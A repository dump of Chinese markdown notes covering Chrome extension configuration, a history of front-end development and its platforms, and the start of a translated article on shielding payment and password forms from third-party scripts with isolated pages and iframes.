205 | // 2种指定方式,如果指定JS,那么会自动生成一个背景页 206 | "page": "background.html" 207 | //"scripts": ["js/background.js"] 208 | }, 209 | } 210 | ``` 211 | 212 | ## event-pages 213 | 214 | 这里顺带介绍一下event-pages,它是一个什么东西呢?鉴于background生命周期太长,长时间挂载后台可能会影响性能,所以Google又弄一个event-pages,在配置文件上,它与background的唯一区别就是多了一个persistent参数: 215 | 216 | 配置: 217 | 218 | ```jsx 219 | { 220 | "background": 221 | { 222 | "scripts": ["event-page.js"], 223 | "persistent": false 224 | }, 225 | } 226 | ``` 227 | 228 | # devtools扩展 229 | 230 | 每打开一个开发者工具窗口,都会创建devtools页面的实例,F12窗口关闭,页面也随着关闭,所以devtools页面的生命周期和devtools窗口是一致的。devtools页面可以访问一组特有的DevTools API以及有限的扩展API,这组特有的DevTools API只有devtools页面才可以访问,background都无权访问,这些API包括: 231 | 232 | 配置 233 | ```jsx 234 | { 235 | // 只能指向一个HTML文件,不能是JS文件 236 | "devtools_page": "devtools.html" 237 | } 238 | ``` 239 | 240 | ## 4种类型的JS对比 241 | 242 | | JS种类 | 可访问的API | DOM访问情况 | JS访问情况 | 直接跨域 | 243 | | ------ | ---------- | ----------- | ---------- | ------- | 244 | | content script | 只能访问 extension、runtime等部分API | 可以访问 | 不可以 | 不可以 | 245 | | popup js | 可访问绝大部分API,除了devtools系列 | 不可直接访问 | 不可以 | 可以 | 246 | | background js | 可访问绝大部分API,除了devtools系列 | 不可直接访问 | 不可以 | 直接跨域 | 247 | | devtools js | 只能访问 devtools、extension、runtime等部分API | 可以 | 可以 | 不可以 | 248 | 249 | ## 消息通信 250 | 251 | | JS种类 | content-script | popup.js | background.js | 252 | | ------ | ---------- | ----------- | ---------- | 253 | | content script | - | chrome.runtime.sendMessage、chrome.runtime.connect | chrome.runtime.sendMessage 、chrome.runtime.connect | 254 | | popup.js | chrome.tabs.sendMessage 、 chrome.tabs.connect | - | chrome.extension. getBackgroundPage() | 255 | | background.js | chrome.tabs.sendMessage chrome.tabs.connect | chrome.extension.getViews | - | 256 | | devtools.js | - | chrome.runtime.sendMessage | chrome.runtime.sendMessage | 257 | 258 | 259 | ## chrome.* API 260 | 261 | Chrome 浏览器为扩展程序提供了许多专用 API,例如 chrome.runtime 与 chrome.alarms。 262 | 参考[文档](https://crxdoc-zh.appspot.com/extensions/api_index) 263 | 264 | ## 参考 265 | [官方文档](https://developer.chrome.com/extensions/getstarted) 266 | [中文文档(非官方)](https://crxdoc-zh.appspot.com/extensions/getstarted) 267 | [Chrome插件(扩展)开发全攻略](https://www.cnblogs.com/liuxianan/p/chrome-plugin-develop.html) 268 | [sxei的博客](https://github.com/sxei/chrome-plugin-demo) -------------------------------------------------------------------------------- /src/大前端简介.md: -------------------------------------------------------------------------------- 1 | # 大前端简介 2 | 3 | ## 目录 4 | - [简介](#简介) 5 | - [前端发展史](#前端发展史) 6 | - [web](#web) 7 | - [移动端](#小程序) 8 | - [前端工程化](#前端工程化) 9 | - [二维动画(canvas)](#二维动画(canvas)) 10 | - [三维动画(webgl)](#三维动画(webgl)) 11 | - [chrome扩展](#chrome扩展) 12 | - [桌面应用](#桌面应用) 13 | - [物联网(IOT)](#物联网(IOT)) 14 | - [操作系统](#操作系统) 15 | - [结语](#结语) 16 | 17 | ## 简介 18 | 19 | * 前端工程师 20 | 21 | 从狭义上讲,前端工程师使用 HTML、CSS、Javascript 等专业技能和工具将产品UI设计稿实现成网站产品,涵盖用户PC端、移动端网页,处理视觉和交互问题。 22 | 从广义上来讲,所有用户终端产品与视觉和交互有关的部分,都是前端工程师的专业领域。 23 | 24 | * 大前端 25 | 26 | 1、大前端 - 前后端分离 27 | 28 | 随着前后端职责和技术框架的分离发展,产品对前端的要求越来越高,用户对前端的期待越来越高,前端技术发展越来越快,导致前端这个岗位并没有像JSP时代那种画画页面就完事了。这部分体现的是前端的要求更高,责任越大了。 29 | 30 | 2、大前端 - Node全栈 31 | 32 | 前后端分离后,前端要独立完成一个事情是不行的,因为缺少后台的支持。但是随着Node的出现,前端可以不用依赖后台人员,也不用学习新的后台语言,就可以轻松搞定后台的这部分事情。这样,面对一些小的系统,前端工程师就可以搞定整个系统。这部分体现了前端的全面性和全栈性。 33 | 34 | 3、大前端 - 应对各种端 35 | 36 | 传统的前端工程师,一般指网页开发工程师,网站一般指运行在PC浏览器,慢慢的也要运行在手机上。但是,随着移动互联网的发展,突然冒出来更多的移动设备,比如:手机分为Android手机和苹果手机、智能手表、VR/AR技术支撑的可穿戴设备、眼睛、头盔、车载系统、智能电视系统等等。而这些设备都需要前端的支撑,这时候对前端的技术要求、能力要求就更高。这部分体现了前端的涉猎范围变大。 37 | 38 | 4、大前端 - 微应用 39 | 40 | 当微信小程序出来以后,大家第一感觉是前端又可以火一把啦,不需要后台、不需要服务端,只需要在微信平台上开发网页就可以发布上线了。 41 | 42 | 而近期又有国内多个手机厂家联合推出快应用 , 跟小程序差不多,只是通过简单的前端开发发布以后,用户不需要安装应用就可以直接在类似于小米、vivo、oppo等手机上打开这样的应用。 43 | 44 | 类似于这些微应用,免后台、免安装的形式出现,也促使了前端这个行业也将涉及到这样的新型领域中,一起推动技术的进步。这部分体现了前端是时代发展的幸运儿 45 | 46 | ## 前端发展史 47 | * 1992年,万维网(WWW)是欧洲核子研究组织的一帮科学家为了方便看文档、传论文而创造的 48 | 49 | * 1994年,这一年10月13日网景推出了第一版Navigator 50 | 51 | * 1994年一个叫Rasmus Lerdorf的加拿大人为了维护个人网站而创建了PHP。 52 | 53 | * 1995年,盘古开天辟地的一年,为了应付公司安排的任务,34岁的系统程序员Brendan Eich只用10天时间就把Javascript设计出来了。 54 | 55 | 56 | >   由于设计时间太短,语言的一些细节考虑得不够严谨,导致后来很长一段时间,Javascript写出来的程序混乱不堪。如果Brendan Eich预见到,未来这种语言会成为互联网第一大语言,全世界有几百万学习者,他会不会多花一点时间呢? 57 | 58 | 2018Github最流行语言排行榜: 59 | ![javascript](https://github.com/luke93h/git-blog/blob/master/imgs/webs/javascript.jpg?raw=true) 60 | 61 | * 1995年,8月16日,微软推出IE 1.0浏览器。 62 | 63 | * 1995年-1998年,第一次浏览器大战,ie获胜,Netscape以开放源代码的授权形式,把Communicator源代码发布 64 | >   在IE6之后,IE团队事实上就解散了,因为那时候的市场占有率已经非常高了,又没有看到竞争对手,所以领导层自然觉得,这个领域已经没什么好投资了。 65 | 66 | * 2004,Firefox 浏览器诞生,开启“第二次浏览器大战” 67 | 68 | >   在Firefox真正成气候之后,微软重新组建了IE团队,尽管当时 Firefox 的性能远胜不思进取的 IE,但 Windows 的捆绑优势太强横,使 Firefox 一直没机会从后赶上。ie的市场份额始终保持在80%以上 69 | 70 | * 2004年,gmail出现,2005年,ajax技术出现 71 | 72 | * 2006年 John Resig发布了jQuery 73 | 74 | * 2007年第一代iphone发布,2008年第一台安卓手机发布。悄然间互联网进入了移动时代。 75 | 76 | * 2008年, Google 推出 Chrome 浏览器,推出V8引擎,js运行速度比同时期的FireFox快了2-3倍,比ie7快了几十倍,“第三次浏览器大战”开始 77 | 78 | >   其卓越的性能、简洁的介面以及捆绑 Google 搜寻的优势,快速攻城掠地,除了侵蚀原有属于 Firefox 的市场之外,也同时痛殴老旧的微软 IE。到了 2012 年,Google Chrome 在 流量统计机构 Statcounter 的数量里终于超越 IE,成为全球第一大浏览器。 79 | 80 |    最新浏览器份额统计: 81 | ![webs](https://github.com/luke93h/git-blog/blob/master/imgs/webs/browser.png?raw=true) 82 |    可以看到,在第三次浏览器大战中,ie份额从80%多一直跌倒了20%不到,甚至下跌的趋势并没有得到缓解。 83 | 84 | * 2009年Ryan Dahl发布了node 85 | 86 | >   基于nodejs带给人们的希望,出现了阿特伍德定律: 87 | >   any application that can be written in JavaScript, will eventually be written in JavaScript 88 | 89 | 90 | * 2014年,第五代HTML标准发布。 91 | 92 | ## web 93 | 94 | ### Web1.0 95 | 96 |   简单来说就是"唯读"的网络世界, 97 | 98 |   电视、杂志、书籍、静态网页这类的都可以被归在此类。 99 | ![webs](https://github.com/luke93h/git-blog/blob/master/imgs/webs/web1.png?raw=true) 100 | 101 | ### Web2.0 102 | 103 |   在这个世代,网路变成互动的形式了,大家可以同时当讯息的接收者,以及讯息的製造者。 104 | 105 |   代表性技术:ajax,jq 106 | 107 |   产品:人人网、微博、百度...等都属于此种。 108 | ![webs](https://github.com/luke93h/git-blog/blob/master/imgs/webs/web2.JPEG?raw=true) 109 | 110 | ### Web3.0 111 | 112 |   我理解的web3.0是在web2.0的基础上运用先进的技术,工程化的管理,完成高复杂度的项目。 113 | 与服务器端语言先慢后快的学习曲线相比,前端开发的学习曲线是先快后慢 114 | 115 |   代表性技术:react,vue,nodejs,html5,webapck,es6,babel,nodejs,less... 116 | 117 |   产品:知乎,斗鱼网页版,facebook,阿里云... 118 | ![webs](https://github.com/luke93h/git-blog/blob/master/imgs/webs/web3.JPEG?raw=true) 119 | 120 | ### 未来的web 121 | 122 | 随着webgl的加入,web拥有了游戏开发的可能。 123 | 124 | * [chrome实验室](https://experiments.withgoogle.com/collection/chrome) 125 | * [Fluid](https://paveldogreat.github.io/WebGL-Fluid-Simulation/) 126 | * [scanseqjs](https://jeonghopark.github.io/scanseqjs/) 127 | * [刺客信条](http://race.assassinscreedpirates.com/) 128 | 129 | ## 移动端 130 | 131 | ### Native App 132 | 133 | 即原生开发模式,开发出来的是原生程序,不同平台上,Android和iOS的开发方法不同,开发出来的是一个独立的APP,能发布应用商店,有如下优点和缺点 134 | 135 | 优势: 136 | * 直接依托于操作系统,交互性最强,性能最好 137 | * 功能最为强大,特别是在与系统交互中,几乎所有功能都能实现 138 | 139 | 劣势: 140 | * 开发成本高,无法跨平台,不同平台Android和iOS上都要各自独立开发 141 | * 门槛较高,原生人员有一定的入门门槛,相比广大的前端人员而言,较少 142 | * 更新缓慢,特别是发布应用商店后,需要等到审核周期 143 | * 维护成本高 144 | 145 | 代表产品:绝大多数大厂APP 146 | 147 | ### Web App 148 | 149 | 即移动端的网站,将页面部署在服务器上,然后用户使用各大浏览器访问,不是独立APP,无法安装和发布 150 | 151 | Web网站一般分两种,MPA(Multi-page Application)和SPA(Single-page Application)。而Web App一般泛指后面的SPA形式开发出的网站(因为可以模仿一些APP的特性),有如下优点和缺点 152 | 153 | 优势: 154 | * 开发成本低,可以跨平台,调试方便 155 | * 维护成本低 156 | * 更新最为快速 157 | 158 | 劣势: 159 | * 性能低,用户体验差 160 | * 依赖于网络,页面访问速度慢,耗费流量 161 | * 功能受限,大量功能无法实现 162 | * 临时性入口,用户留存率低 163 | 164 | ### Hybrid App: 165 | 166 | 即混合开发,也就是半原生半Web的开发模式,有跨平台效果,当然了,实质最终发布的仍然是独立的原生APP(各种的平台有各种的SDK),有如下优点和缺点 167 | 168 | 优势: 169 | 1. 开发成本较低,可以跨平台,调试方便 170 | 2. 维护成本低,功能可复用 171 | 3. 更新较为自由 172 | 4. 针对新手友好,学习成本较低 173 | 5. 功能更加完善,性能和体验要比起web app好太多 174 | 6. 部分性能要求的页面可用原生实现 175 | 176 | 劣势: 177 | 1. 相比原生,性能仍然有较大损耗 178 | 2. 不适用于交互性较强的app 179 | 180 | ### React Native App 181 | 182 | Facebook发起的开源的一套新的APP开发方案,Facebook在当初深入研究Hybrid开发后,觉得这种模式有先天的缺陷,所以果断放弃,转而自行研究,后来推出了自己的“React Native”方案,不同于H5,也不同于原生,更像是用JS写出原生应用,有如下优点和缺点 183 | 184 | 185 | 优势: 186 | 187 | 1. 虽然说开发成本大于Hybrid模式,但是小于原生模式,大部分代码可复用 188 | 2. 性能体验高于Hybrid,不逊色与原生 189 | 3. 开发人员单一技术栈,一次学习,跨平台开发 190 | 4. 社区繁荣,遇到问题容易解决 191 | 192 | 劣势: 193 | 1. 虽然可以部分跨平台,但并不是Hybrid中的一次编写,两次运行那种,而是不同平台代码有所区别 194 | 2. 开发人员学习有一定成本 195 | 196 | ### 小程序 197 | 198 | 张小龙在朋友圈里这样解释道:小程序是一种不需要下载安装即可使用的应用,它实现了应用「触手可及」的梦想,用户扫一扫或搜一下即可打开应用。也体现了「用完即走」的理念,用户不用关心是否安装太多应用的问题。应用将无处不在,随时可用,但又无需安装卸载。 199 | 200 | 优势: 201 | 1. 不用安装,即开即用,用完就走。省流量,省安装时间,不占用桌面; 202 | 2. 对于小程序拥有者来说,开发成本更低,他们可以更多财力,人力,精力放在如何运营好产品,做好内容本身; 203 | 3. 背靠微信/支付宝,更容易引流 204 | 205 | 206 | 劣势: 207 | 1. 体验上虽然没法完全媲美原生APP,但综合考虑还是更优; 208 | 2. 微信小程序的推广和发展受微信平台的限制、不利于微信小程序的普及和全球化。 209 | 3. 微信小程序功能太过简单,某些核心功能方面都没能完善 210 | 4. 微信小程序优化不足。比如很多微信小程序打开就有明显的卡顿现象 211 | 212 | ### 快应用 213 | 214 | 微信小程序推出已经一年多,不但在轻应用市场的表现十分抢眼,而且还在一步步蚕食传统硬件厂商的应用分发市场的入口和流量。在应用分发市场被入侵的形势下,今年3月20日十大国产手机厂商联合发布了“快应用”标准,正式与微信小程序展开竞争。 215 | 216 | 优势: 217 | 1. 快应用标准统一,利于大面积推广。 218 | 2. 更符合用户和系统习惯。 219 | 3. 潜在用户量极大。 220 | 221 | 劣势: 222 | 1. 各手机厂商貌合神离,导致快应用仍存在一些问题。 223 | 2. 用户粘性不高。 224 | 3. 快应用入口寻之不易。 225 | 226 | ### pwa 227 | 228 | Progressive Web App, 简称 PWA,是渐进式提升 Web App 的体验的一种新方法,能给用户原生应用的体验。 229 | 230 | PWA 本质上是 Web App,就是运行在手机上的App不是纯Native的,而是很多页面都是网页。 231 | 232 | 233 | ## 前端工程化 234 | 235 | 前端工程化是根据业务特点,将前端开发流程规范化,标准化,它包括了开发流程,技术选型,代码规范,构建发布等,用于提升前端工程师的开发效率和代码质量,最终交付一个稳定性高、扩展性好、易于维护的系统的过程。 236 | 237 | 238 | Web应用的复杂程度与日俱增,用户对其前端界面也提出了更高的要求,但时至今日仍然没有多少前端开发者会从软件工程的角度去思考前端开发,来助力团队的开发效率,更有甚者还对前端保留着”如玩具般简单“的刻板印象,日复一日,刀耕火种。 239 | 240 | 为什么要追求工程化,可以看下这个故事:[地狱级项目](https://zhuanlan.zhihu.com/p/39827365) 241 | 242 | 工程化可以从4个方面着手:模块化、组件化、自动化、规范化。 243 | 244 | 1. 模块化:就是将一个大文件拆分成相互依赖的小文件,再进行统一的拼装和加载。 245 | 246 |     工具:webpack,gulp,rollup 247 | 248 | 2. 组件化:模板化是在文件层面上,对代码和资源的拆分;组件化是在设计层面上,对于UI的拆分。 249 | 250 |     工具:react,vue,angular 251 | 252 | 3. 自动化:“简单重复的工作交给机器来做”,自动化也就是有很多自动化工具代替我们来完成 253 | 持续集成、自动化构建、自动化部署、自动化测试等等。 254 |     工具:husky,travis,ci/cd,jest 255 | 4. 规范化:在项目规划初期制定的好坏对于后期的开发有一定影响。包括的规范有:目录结构、编码规范、前后端接口规范等等 256 | 257 |     工具:eslint,prettier 258 | 259 | ## 二维动画(canvas) 260 | 261 | 1. [echarts](http://gallery.echartsjs.com/explore.html#sort=rank~timeframe=all~author=all) 262 | 2. [25 超棒的 HTML5 Canvas 游戏](https://www.oschina.net/news/20143/top-25-best-html5-canvas-games-you-love-to-play) 263 | 264 | ## 三维动画(webgl) 265 | 266 | 1. [three.js](https://threejs.org/) 267 | 2. [chrome实验室](https://experiments.withgoogle.com/collection/chrome) 268 | 269 | ## 桌面应用 270 | Electron 与 NW.js 相似,提供了一个能通过 JavaScript 和 HTML 创建桌面应用的平台,同时集成 Node 来授予网页访问底层系统的权限。 271 | 272 | 为什么要用html来开发桌面应用: 273 | 主要是UI,经过多年发展,web端的UI组件丰富度,美观度远超传统程序,加上web端代码容易分享,好共用,好定制,开发人员多好找人,所以以web为主导的公司,开发桌面程序就直接使用浏览器技术做UI层是自然的选择 274 | 275 | 1. electron 276 | 2. NW(前身为node-webkit) 277 | 278 | 产品:微信小程序开发ide、支付宝小程序开发ide、网易云音乐 279 | 280 | ## chrome扩展 281 | 282 | ### chrome extension是什么 283 | 284 | 1. chrome extension开发成本低,由一些文件(包括 HTML、CSS、JavaScript、图片以及其他任何您需要的文件)经过 zip 打包得到,本质上是网页。 285 | 2. chrome extension不仅可以利用[浏览器为网页提供的所有 API](https://crxdoc-zh.appspot.com/extensions/api_other),还可以用[chrome为扩展程序提供了许多专用 API](https://crxdoc-zh.appspot.com/extensions/api_index)。 286 | 287 | ### 为什么要用chrome extension 288 | 289 | 1. 有些场景下,我们并不是网页的开发者,但想要为网站添加更多的功能,这时候也可以用chrome extension来解决。 290 | 2. chrome extension拥有比网页更加丰富的api 291 | 292 | ### chrome扩展能做什么 293 | 294 | 1. 代理:[Proxy SwitchyOmega](https://chrome.google.com/webstore/detail/proxy-switchyomega/padekgcemlokbadohgkifijomclgjgif) 295 | 2. 开发者工具: [react](https://chrome.google.com/webstore/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi)、[redux](https://chrome.google.com/webstore/detail/redux-devtools/lmhkpmbekcpmknklioeibfkpmmfibljd) 296 | 3. 广告过滤:[AdGuard 广告拦截器](https://chrome.google.com/webstore/detail/adguard-adblocker/bgnkhhnnamicmpeenaelnjfhikgbkllg) 297 | 4. 抢票软件:[台湾高铁抢票插件](https://chrome.google.com/webstore/detail/%E5%8F%B0%E6%B9%BE%E9%AB%98%E9%93%81%E6%8A%A2%E7%A5%A8%E6%8F%92%E4%BB%B6/nfkfaajobpcjpmcmpcacncimfmjppgoj) 298 | 5. 视频下载: [优酷一键通](https://chrome.google.com/webstore/detail/%E4%BC%98%E9%85%B7%E4%B8%80%E9%94%AE%E9%80%9A/alddjbjplgobbllfolehibiclbhmomla) 299 | 6. 更多:[chrome应用商店](https://chrome.google.com/webstore/category/extensions?hl=zh-CN) 300 | 301 | ### 如何开发 302 | 303 | 参考[chrome扩展简介](https://github.com/luke93h/git-blog/issues/20) 304 | 305 | ## 物联网(IOT) 306 | 307 | 我们总说IOT,那到底什么是IOT?IOT是Internet of Things的缩写,字面翻译是“物体组成的因特网”,准确的翻译应该为“物联网”。物联网(Internet of Things)又称传感网,简要讲就是互联网从人向物的延伸。 308 | 309 | JavaScript IoT应用开发平台: 310 | 311 | JavaScript IoT应用开发平台,其建设初衷是让开发者能够用JavaScript开发IoT应用,一方面可以更好地构建抽象,另一方面,可以将比较现代的开发方式引入到硬件研发中。 312 | 313 | ## 操作系统 314 | 315 | [OS.JS](https://link.zhihu.com/?target=https%3A//www.os-js.org/) 316 | 317 | ## 结语 318 | 319 | 技术的根本追求是解决问题,希望通过这次分享能给大家解决问题带来更多的解决思路 320 | 321 | ## 参考 322 | 323 | [当我们在谈大前端的时候,我们谈的是什么](http://www.infoq.com/cn/articles/talking-about-daqianduan) 324 | [前端发展史](https://www.cnblogs.com/kidney/p/6079530.html) 325 | [前端简史](https://zhuanlan.zhihu.com/p/29924966) 326 | [月影谈:写给想成为前端工程师的同学们](https://blog.csdn.net/cao610374598/article/details/51767562) 327 | [Web1.0、Web2.0和Web3.0](http://misswufunedu.pixnet.net/blog/post/117310858-web1.0%2Aweb2.0%2A-web3.0) 328 | [Hybrid APP开发的优缺点分析](http://www.kingyon.com/1001/24/74.html) 329 | [Hybrid APP基础篇(二)->Native、Hybrid、React Native、Web App方案的分析比较](https://www.cnblogs.com/dailc/p/5930238.html) 330 | [微信小程序的优势和缺点](https://zhuanlan.zhihu.com/p/30689180) 331 | [微信小程序与快应用之间的优势和劣势,谁更强?](https://m.hishop.com.cn/xiaocx/show_58468.html) 332 | [维护一个大型开源项目是怎样的体验?](https://www.zhihu.com/question/36292298/answer/102418523) 333 | [我眼中的 Electron](https://segmentfault.com/a/1190000008205112) 334 | [前端工程——基础篇](https://github.com/fouber/blog/issues/10) 335 | [大前端的技术原理和变迁史](https://github.com/sunmaobin/sunmaobin.github.io/issues/56) 336 | [不要争了!技术选择没那么重要](https://blog.fundebug.com/2018/07/19/technology-selection-is-not-critical/) 337 | -------------------------------------------------------------------------------- /src/如何阻止我从您的网站收集信用卡号码和密码.md: -------------------------------------------------------------------------------- 1 | # 如何阻止我从您的网站收集信用卡号码和密码 2 | 3 | > 译者:原文地址-[Part 2: How to stop me harvesting credit card numbers and passwords from your site](https://hackernoon.com/part-2-how-to-stop-me-harvesting-credit-card-numbers-and-passwords-from-your-site-844f739659b9),以下为译文: 4 | 5 | 我最近写了[一篇文章](https://hackernoon.com/part-2-how-to-stop-me-harvesting-credit-card-numbers-and-passwords-from-your-site-844f739659b9)([译文](https://github.com/luke93h/git-blog/issues/22)),描述了我如何注入恶意代码,这些代码以一种很难检测到的方式从数千个网站收集信用卡号和密码。 6 | 7 | 这篇文章收到的评论让我感到高兴,比如“不寒而栗”,“令人不安”和“可怕至极”等情感。(就像我在舞池上收到的赞美一样。) 8 | 9 | 在这篇文章中,我会提出一些实用的建议。 10 | 11 | # 概要 12 | 13 | * 没必要杜绝第三方代码 14 | * 敏感信息,请放在单独的HTML文件中处理,并确保该html中没有第三方代码。 15 | * 在iframe中加载该html 16 | * 从不同域上的静服务器提供此html 17 | * 您还可以考虑通过使用第三方登录和第三方处理信用卡来完全避免敏感数据。 18 | 19 | 我在这篇文章中建议的东西只适用于敏感信息(密码,信用卡号等)非常有限且可以隔离开的网站。如果的网页是聊天应用或邮箱客户端或数据库界面(所有数据是敏感的),我无能为力。 20 | 21 | # 十八倍长的版本 22 | 23 | 我认为适当的忧虑是不错的开始。 24 | 25 | 我建议您想象一下,当您看到OnePlus [最近发布的公告](https://forums.oneplus.com/threads/jan-19-update-an-update-on-credit-card-security.752415/)时,会是什么样的感觉: 26 | 27 | > ...支付页面被注入恶意脚本,信用卡信息泄漏...恶意脚本间歇性地操作,直接从用户的浏览器盗窃数据... oneplus.net上的多达40k用户可能会受到影响 28 | 29 | *** 30 | 31 | 现在让我把用更具象的东西来体现这种模糊的恐惧感。 32 | 33 | 也许动物会有用...... 34 | 35 | 如果把第三方代码比作一个条杜宾犬。尽管它看起来平静,温柔。但是在它那黑色,温柔的眼睛里,有一种未知的闪烁。我只想说,我不会把我珍爱的东西放在它的附近。 36 | 37 | 用户的敏感信息描可以看做一只可爱的小仓鼠。我看着它无辜地舔着它的小前脚,梳理它愚蠢的小脸,小仓鼠完全没有注意到杜宾犬,并在杜宾犬面前随意嬉戏。 38 | 39 | 如果你曾经养过杜宾犬(我强烈推荐),你可能知道他们是美妙,温和的生物,不应该得此恶名。尽管如此,我相信你依旧会同意,让小仓鼠和杜宾犬独处是个坏主意。 40 | 41 | 当然,你下班回到家后,也许会看到Bagnt Pants教授在Chompers中士的背上睡着的可爱场景。当然,更可能的事仓鼠的位置啥也没了,只剩下一只头歪向一边的狗,好像在问“今天我的甜点是什么呢?” 42 | 43 | *** 44 | 45 | 我不认为来自npm,GTM或DFP或其他任何地方的代码应该被贴上不安全的标签。但我建议,除非你能保证这段代码是可信的,否则将其与用户的敏感信息放在一起是不负责任的。 46 | 47 | 所以...这就是我建议大家采用的策略:敏感信息和第三方代码不应该同时存在。 48 | 49 | ## 例子:修复一个易受攻击的网站 50 | 51 | 此示例中的网站中有易受第三方恶意代码攻击的信用卡表单,就像您可能认为在安全性方面更好的几个非常大的电子商务网站上的那些。 52 | 53 | ![yewai](https://github.com/luke93h/git-blog/blob/master/imgs/anquan.png?raw=true) 54 | 55 | 此页面充满了第三方代码。它使用了React,并通过Create React App创建,所以它在我开始之前有886个npm包(严重)。 56 | 57 | 它也有谷歌标签管理器( Google Tag Manager,它可以让陌生人在你的网站中注入JavaScript,而不需要经过代码审查)。 58 | 59 | 另外,我这里还有一个横幅广告。这是互联网上的一则广告,因此需要分请求布在112个网络请求上总共1.5 MB的JavaScript,这导致有11秒的时间完全倾斜在CPU上,以加载单个动画gif,于此同时信用卡信息会飞一般被发送出去。 60 | 61 | (吐槽:为此我对谷歌很失望。他们的开发人员花很多时间教我们如何快速制作网页;在这里减掉几万字节,在那里优化几毫秒 - 这些都是很棒的优化。但同时他们允许DFP广告联盟向用户的设备发送数兆资源,发起数百个网络请求,导致数秒时间CPU被塞满。谷歌,我期待您能提供更加合理,快捷的广告投放方式。) 62 | 63 | *** 64 | 65 | 好的,回到正题......显然,我需要做的是把用户的敏感信息保护起来,远离所有第三方恶意代码 ; 我希望它们能待在属于自己的小岛上。就像这样: 66 | 67 | ![yewai](https://github.com/luke93h/git-blog/blob/master/imgs/xiaodao.jpeg?raw=true) 68 | 69 | 现在,你已经看完了本文的2/5,我将开始讲述一些实用的方法。 70 | 71 | * 选项1:将信用卡表单移动到没有第三方JavaScript的document中,并将其作为单独的页面 72 | * 选项2:选项1的基础上,页面在iframe中提供 73 | * 选项3:选项2的基础上,父页面和iframe通过postMessage相互通信 74 | 75 | ## 选项1:处理敏感数据的单独页面 76 | 77 | 最简单的方法是创建一个没有JavaScript的全新页面。 78 | 79 | ![yewai](https://github.com/luke93h/git-blog/blob/master/imgs/anquan1.png?raw=true) 80 | 81 | 不幸的是,因为我的网站的页眉,页脚和导航都是React组件,所以我不能在这个页面上使用它们。所以你看到的'标题'是我的完整标题的手动复制,没有所有常用功能。只是一个蓝色矩形。 82 | 83 | 当用户填完表格时,他们会点击提交,并重定向到下一个页面。这可能需要进行一些后端验证,以处理们在页面中提交的数据。 84 | 85 | 为了让这个文件保持漂亮和苗条,我使用原生的表单验证,而不是JavaScript ,而且由于required和pattern属性,达到JavaScript验证般的体验需要花费很大的精力。 86 | 87 | 如果你想看到它的实际效果,[示例在这里](https://codepen.io/davidgilbertson/pen/OzdEbL)。 88 | 89 | *** 90 | 91 | 如果您打算这样做,我建议把所有代码全部保存在一个文件中。 92 | 93 | 复杂性是这里的敌人。上面例子的HTML文件 - 嵌入在标签中的CSS - 大约有100行; 因为它太小而且没有发起网络请求,所以几乎不可能在未被发现的情况下干涉代码。 94 | 95 | 不幸的是,这种方法需要复制CSS。我已经想了很久了,并想出了几种方法。如果想要能避免重复的代码,这其中的逻辑会需要比这几行css本身更多的代码。 96 | 97 | “不要写重复的代码”极好的指导,但它不应被视为必须遵守。在极少数情况下,如此处所述,重复的代码是两害中的较小者。 98 | 99 | 最有用的规则是您知道何时打破规则。 100 | 101 | ## 选项2:在选项1的基础上,应用iframe 102 | 103 | 第一种选择是好的,但是对UI和UX,有一定的损失,但别人拿走用户的钱往往是在最后一步执行。 104 | 105 | 选项2通过将表单放在iframe中来解决此问题。 106 | 107 | 你可能会这样做: 108 | 109 | ```jsx 110 |